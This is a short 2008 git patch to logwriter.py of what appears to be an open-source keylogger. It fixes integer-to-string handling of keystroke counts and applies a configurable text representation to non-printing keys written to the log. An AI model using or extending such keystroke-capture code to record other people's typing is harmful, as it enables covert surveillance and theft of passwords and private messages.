From 01e0c0cca2f42daf828fcd59e2a6d786e413242d Mon Sep 17 00:00:00 2001 From: nanotube Date: Fri, 8 Feb 2008 05:34:53 +0000 Subject: [PATCH] fix some code errors (str some ints in the right places) use the new non-printing character representation everywhere it's needed --- logwriter.py | 21 +++++++++++---------- 1 file changed, 11 insertions(+), 10 deletions(-) diff --git a/logwriter.py b/logwriter.py index dae3375..48495e3 100644 --- a/logwriter.py +++ b/logwriter.py @@ -208,14 +208,14 @@ class LogWriter(threading.Thread): str(event.WindowName).replace(self.settings['General']['Log File Field Separator'], '[sep_key]')] if self.settings['General']['Log Key Count'] == True: - eventlisttmp = eventlisttmp + [1,unicode(self.ParseEventValue(event), 'latin-1')] + eventlisttmp = eventlisttmp + ['1',unicode(self.ParseEventValue(event), 'latin-1')] else: eventlisttmp.append(unicode(self.ParseEventValue(event), 'latin-1')) if (self.eventlist[:6] == eventlisttmp[:6]) and (self.settings['General']['Limit Keylog Field Size'] == 0 or len(self.eventlist[-1]) < self.settings['General']['Limit Keylog Field Size']): self.eventlist[-1] = str(self.eventlist[-1]) + str(eventlisttmp[-1]) #append char to log if self.settings['General']['Log Key Count'] == True: - self.eventlist[-2] = int(self.eventlist[-2]) + 1 # increase stroke count + self.eventlist[-2] = str(int(self.eventlist[-2]) + 1) # increase stroke count else: self.WriteToLogFile() #write the eventlist to file, unless it's just the dummy list self.eventlist = eventlisttmp @@ -233,28 +233,29 @@ class LogWriter(threading.Thread): '''Pass the event ascii value through the requisite filters. Returns the result as a string. ''' + npchrstr = self.settings['General']['Non-printing Character Representation'] + npchrstr = re.sub('%keyname%', str(event.Key), npchrstr) + npchrstr = re.sub('%scancode%', str(event.ScanCode), npchrstr) + npchrstr = re.sub('%vkcode%', str(event.KeyID), npchrstr) + if chr(event.Ascii) == self.settings['General']['Log File Field Separator']: - return('[sep_key]') + return(npchrstr) #translate backspace into text string, if option is set. if event.Ascii == 8 and self.settings['General']['Parse Backspace'] == True: - return('[KeyName:' + event.Key + ']') + return(npchrstr) #translate escape into text string, if option is set. if event.Ascii == 27 and self.settings['General']['Parse Escape'] == True: - return('[KeyName:' + event.Key + ']') + return(npchrstr) # need to parse the returns, so as not to break up the delimited data lines if event.Ascii == 13: - return('[KeyName:' + event.Key + ']') + return(npchrstr) #we translate all the special keys, such as arrows, backspace, into text strings for logging #exclude shift keys, because they are already represented (as capital letters/symbols) if event.Ascii == 0 and not (str(event.Key).endswith('shift') or str(event.Key).endswith('Capital')): - npchrstr = self.settings['General']['Non-printing Character Representation'] - npchrstr = re.sub('%keyname%', event.Key, npchrstr) - npchrstr = re.sub('%scancode%', event.ScanCode, npchrstr) - npchrstr = re.sub('%vkcode%', event.KeyID, npchrstr) #return('[KeyName:' + event.Key + ']') return(npchrstr) -- 2.45.1